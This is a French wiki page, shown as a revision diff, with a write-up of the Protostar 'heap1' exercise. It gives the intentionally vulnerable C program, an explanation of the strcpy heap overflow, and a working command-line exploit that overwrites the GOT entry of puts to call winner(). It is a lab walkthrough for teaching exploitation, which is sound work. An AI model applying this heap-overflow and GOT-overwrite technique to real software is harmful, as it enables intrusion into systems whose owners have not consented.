Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
exploit_exercises_protostar:heap1 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Heap1 ====== | ||
+ | <code C> | ||
+ | #include <stdlib.h> | ||
+ | #include <unistd.h> | ||
+ | #include <string.h> | ||
+ | #include <stdio.h> | ||
+ | #include <sys/types.h> | ||
+ | |||
+ | struct internet { | ||
+ | int priority; | ||
+ | char *name; | ||
+ | }; | ||
+ | |||
+ | void winner() | ||
+ | { | ||
+ | printf("and we have a winner @ %d\n", time(NULL)); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | struct internet *i1, *i2, *i3; | ||
+ | |||
+ | i1 = malloc(sizeof(struct internet)); | ||
+ | i1->priority = 1; | ||
+ | i1->name = malloc(8); | ||
+ | |||
+ | i2 = malloc(sizeof(struct internet)); | ||
+ | i2->priority = 2; | ||
+ | i2->name = malloc(8); | ||
+ | |||
+ | strcpy(i1->name, argv[1]); | ||
+ | strcpy(i2->name, argv[2]); | ||
+ | |||
+ | printf("and that's a wrap folks!\n"); | ||
+ | } | ||
+ | </code> | ||
+ | |||
+ | Bon la vulnérabilité ne saute pas forcement au yeux du premier coup. Je vais essayer d'expliquer du mieux que je peux où elle se trouve. | ||
+ | |||
+ | On a une structure ''internet'' qui contient deux paramètres, ''priority'' et ''name''. Le programme alloue de la mémoire pour une première structure de ce type. Il positionne à 1 la valeur de ''priority'' et alloue un buffer de 8 octets à ''name''. Il réalise une seconde fois cette opération. Puis, il copie dans le buffer de 8 octets ''i1->name'' l'argument 1, et copie dans le buffer de 8 octets ''i2->name'' l'argument 2. | ||
+ | |||
+ | Si on met plus de 8 caractères dans l'argument 1, le ''strcpy'' va déborder sur une partie de la seconde structure ''internet'' (''i2''). On va commencer par écrire par dessus ''i2->priority'' puis sur ''i2->name''. Cette dernière variable est en fait un pointeur vers le buffer de 8 octets aloué précédement. Si grâce au premier ''strcpy'' on écrit l'adresse de ''puts'' dans la GOT à la place du pointeur ''i2->name'' et que l'on donne pour valeur au second argument du programme l'adresse de la fonction ''winner'', au moment du ''printf(...)'' le programme sera redirigé vers la fonction ''winner'' ;-) | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ objdump -TR ./heap1 | grep puts | ||
+ | 08049774 R_386_JUMP_SLOT puts | ||
+ | user@protostar:/opt/protostar/bin$ nm ./heap1 | grep winner | ||
+ | 08048494 T winner | ||
+ | user@protostar:/opt/protostar/bin$ ./heap1 $(python -c 'print "A"*20+"\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"') | ||
+ | and we have a winner @ 1351274422 | ||
+ | </code> |